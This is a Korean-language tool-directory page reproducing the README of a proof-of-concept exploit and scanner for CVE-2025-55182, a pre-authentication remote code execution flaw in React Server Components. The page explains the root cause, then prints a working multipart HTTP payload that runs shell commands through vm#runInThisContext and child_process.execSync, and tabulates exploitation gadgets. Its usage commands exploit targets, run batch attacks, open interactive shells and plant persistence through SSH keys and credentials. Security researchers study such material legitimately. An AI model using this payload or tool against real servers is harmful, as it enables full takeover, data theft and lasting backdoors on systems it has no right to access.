Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-POC-SCANNER — 통합 보안 연구 도구 | Kitploit
도구/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationRed TeamingPayload Development
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

통합 보안 연구 도구

2210개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2025-55182: React Server Components의 사전 인증 없이 가능한 원격 코드 실행 치명적 취약점

CVE-2025-55182 CVSS 10.0 영향받는 React 버전 영향받는 Next.js 버전

schema.cx의 보안 연구
"통제는 환상이다. 우리를 통제하는 것은 우리가 구축한 시스템이다—우리가 먼저 그것을 이해하지 않는 한 말이다."


📋 목차

  • 면책 및 법적 고지
  • 간략 요약
  • 기술 설명
  • 영향받는 시스템
  • 개념 증명
  • 영향 평가
  • 완화 및 수정
  • 책임 있는 공개 타임라인
  • 참고 자료
  • 출처

⚠️ 면책 및 법적 고지

이 도구는 승인된 보안 테스트 전용입니다.

잠깐. 진행하기 전에 이 내용을 읽으십시오.

이 저장소는 치명적인 보안 취약점에 대한 개념 증명 코드를 포함하고 있습니다. 이 저장소의 자료에 접근, 다운로드 또는 사용함으로써 귀하는 다음 사항을 인지하고 동의하는 것으로 간주됩니다.

법적 요구 사항

  1. 서면 승인 필요: 보안 테스트를 수행하기 전에 시스템 소유자로부터 명시적이고 서면으로 된 허가를 반드시 받아야 합니다. 구두 합의는 불충분합니다.

  2. 범위 제한: 테스트는 귀하의 승인에 명시적으로 명시된 시스템으로 제한되어야 합니다. "범위 확장"은 허용되지 않습니다.

  3. 관련 법률: 승인되지 않은 컴퓨터 시스템 접근은 다음을 위반합니다.

    • 미국: 컴퓨터 사기 및 남용 방지법(CFAA), 18 U.S.C. § 1030
    • 유럽 연합: 정보 시스템에 대한 공격에 관한 지침 2013/40/EU
    • 영국: 컴퓨터 오용법 1990
    • 호주: 형법 1995, 477-478부
    • 기타 관할권: 유사한 컴퓨터 범죄 법률이 전 세계적으로 적용됩니다.

책임 부인

이 저장소의 작성자 및 기여자는 다음을 수행합니다.

  • 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
  • 묵시적이거나 명시적인 어떠한 보증도 제공하지 않습니다.
  • 이 소프트웨어의 사용 또는 사용 불가능으로 인해 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다.
  • 어떠한 종류의 불법 활동도 지지하지 않습니다.

윤리 지침

  • 허가 없이 테스트하지 마십시오. — "그냥 확인"하고 싶은 경우에도 마찬가지입니다.
  • 모든 것을 문서화하십시오. — 모든 테스트 활동의 상세 로그를 유지하십시오.
  • 영향을 최소화하십시오. — 가능한 한 덜 침습적인 방법을 사용하십시오.
  • 책임감 있게 보고하십시오. — 조정된 공개 관행을 따르십시오.
  • 개인정보를 존중하십시오. — 민감한 데이터를 유출하거나 보관하지 마십시오.

"질문은 취약점을 악용할 수 있는지 여부가 아닙니다. 그것은 우리가 그래야 하는지, 그리고 어떤 목적을 위한 것인지입니다."


📊 간략 요약

CVE-2025-55182는 React 19.x 및 Next.js 15.x-16.x 애플리케이션의 React Server Components에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행(RCE) 치명적 취약점입니다.

비즈니스 영향

이 취약점은 취약한 애플리케이션에 네트워크 접근이 가능한 모든 인증되지 않은 공격자가 서버에서 임의의 명령을 실행할 수 있도록 합니다. 이 공격은 자격 증명, 사용자 상호 작용이 필요 없으며 완전히 자동화될 수 있습니다. 성공적인 악용은 다음과 같은 결과를 초래합니다.

  • 완전한 서버 장악 — 공격자는 기본 시스템에 대한 완전한 통제권을 얻습니다.
  • 데이터 유출 가능성 — 데이터베이스, 환경 변수, 비밀 및 사용자 데이터에 접근합니다.
  • 수평 이동 — 손상된 서버는 내부 네트워크를 공격하는 데 사용될 수 있습니다.
  • 공급망 위험 — 수백만 사용자에게 서비스를 제공하는 프로덕션 시스템이 영향을 받을 수 있습니다.

심각도 등급

지표등급
CVSS v3.1 기본 점수10.0 치명적
공격 경로네트워크
공격 복잡도낮음
필요 권한없음
사용자 상호 작용없음
영향 (기밀성/무결성/가용성)높음 / 높음 / 높음

"사람들은 시스템을 이해하지 못하기 때문에 신뢰합니다. 그 신뢰는 취약점입니다."


🔬 기술 설명

근본 원인 분석

이 취약점은 requireModule 함수 내 React의 Flight 프로토콜 구현에 존재합니다. 이 함수는 대괄호 표기법을 사용하여 사용자 제어 입력을 기반으로 모듈 내보내기에 접근하면서, 요청된 속성이 모듈의 고유 속성(own property) 인지 확인하지 않습니다.

취약한 코드 위치:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
함수: requireModule (v19.0.0 기준 약 2546-2558행)

취약한 패턴:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 비동기 처리 ...
  return moduleExports[metadata[2]];  // ← 취약: hasOwnProperty 검사 없음
}

악용 메커니즘

공격은 JavaScript의 프로토타입 체인 탐색을 활용합니다.

  1. 진입점: 공격자는 Server Action 엔드포인트에 악의적인 multipart form 요청을 보냅니다.
  2. 페이로드 삽입: $ACTION_0:0 필드에는 공격자가 제어하는 id(module#export 형식) 및 bound(인수) 속성을 가진 JSON이 포함됩니다.
  3. 프로토타입 접근: constructor와 같은 내보내기를 지정하거나 프로토타입 속성에 접근하여 공격자는 내장 Node.js 모듈을 참조할 수 있습니다.
  4. RCE Gadget: vm.runInThisContext, child_process.execSync, fs.readFileSync와 같은 함수가 공격자가 제공한 인수로 실행됩니다.

공격 벡터

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // "module#export" 형식 구문 분석
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // 프로토타입 체인 접근 → RCE

페이로드 구조

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

사용 가능한 RCE Gadget

Gadget모듈설명영향
vm#runInThisContextvm현재 컨텍스트에서 JS 실행직접 RCE
vm#runInNewContextvm샌드박스에서 JS 실행 (탈출 가능)직접 RCE
child_process#execSyncchild_process셸 명령 실행직접 RCE
child_process#spawnSyncchild_process프로세스 생성직접 RCE
fs#readFileSyncfs임의 파일 읽기데이터 유출
fs#writeFileSyncfs임의 파일 쓰기지속성/백도어
module#_loadmoduleJS 모듈 로드 (2단계 RCE)간접 RCE

"모든 시스템에는 문이 있습니다. 문제는 당신이 자물쇠를 직접 만들었는지, 아니면 방문자를 기대하지 않은 누군가로부터 물려받았는지입니다."


🎯 영향받는 시스템

취약한 버전

제품취약한 버전패치된 버전
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x (취약한 React 사용)패치된 React가 포함된 버전

악용을 위한 전제 조건

  1. React Server Components 활성화: 애플리케이션이 Server Actions와 함께 RSC를 사용해야 함
  2. 취약한 React 버전: 영향을 받는 버전 중 하나가 사용 중이어야 함
  3. 네트워크 접근: 공격자가 Server Action 엔드포인트에 도달할 수 있어야 함
  4. 번들 내 위험한 모듈: 직접 RCE를 위해 vm, child_process 또는 fs와 같은 모듈이 webpack 번들에 포함되어야 함

플랫폼 요구 사항

  • 런타임: Node.js (React 19를 지원하는 모든 버전)
  • 프레임워크: Next.js App Router 또는 사용자 정의 RSC 구현
  • 취약해지기 위해 추가 구성이 필요하지 않음

위험한 모듈의 가능성

모듈번들 내 가능성일반적인 출처
fs매우 높음fs-extra, gray-matter, multer, sharp, chokidar
child_process중간-높음execa, shelljs, puppeteer, sharp, PDF 생성기
vm낮음-중간ejs, pug, 템플릿 엔진
module매우 낮음tsx, ts-node (보통 CLI 전용)

🔧 개념 증명

스캐너 도구

이 저장소에는 여러 작동 모드를 가진 포괄적인 Python 기반 보안 스캐너가 포함되어 있습니다.

저장소 구조

CVE-2025-55182-poc/
├── README.md                    # 이 파일
├── scanner/
│   ├── __init__.py             # Python 패키지 초기화
│   ├── scanner.py              # 주요 통합 스캐너 (6가지 모드)
│   ├── readme.md               # 상세 스캐너 문서
│   ├── requirements.txt        # Python 종속성
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # 취약점 심층 분석
│       └── VULNERABLE-PACKAGES.md   # 영향받는 패키지 버전

설치:

cd scanner
pip install -r requirements.txt

기본 사용 예제

취약점 스캔:

# 대상이 취약한지 확인
python scanner.py scan https://target.com

Gadget 탐지:

# 사용 가능한 RCE gadget 식별
python scanner.py exploit https://target.com --detect-gadgets

명령 실행 (권한 있음):

# 취약한 대상에서 명령 실행
python scanner.py exploit https://target.com -c "whoami"

배치 테스트:

# 파일에서 여러 대상 테스트
python scanner.py batch -f targets.txt -o results.json

확인을 포함한 자동 스캔:

# 악용 확인을 포함한 종합 스캔
python scanner.py auto -f targets.txt -o report.txt

예상 출력

취약한 대상:

[+] CVE-2025-55182에 취약합니다!
    프레임워크: Next.js
    버전: 15.1.0
    신뢰도: 높음
    
사용 가능한 Gadget:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

패치된 대상:

[-] 취약하지 않거나 확인할 수 없음
    탐지된 프레임워크: Next.js
    버전: 15.2.0 (패치됨)

스캐너 모드

모드목적
scan취약점 탐지 및 핑거프린팅
exploit특정 gadget을 사용한 통제된 악용
shell취약한 대상에서 대화형 명령 셸
batch통계와 함께 여러 URL 테스트
auto확인을 포함한 자동 다중 대상 스캔
persist지속성 공격 시연 (SSH 키, 자격 증명)

기능

도구 다운로드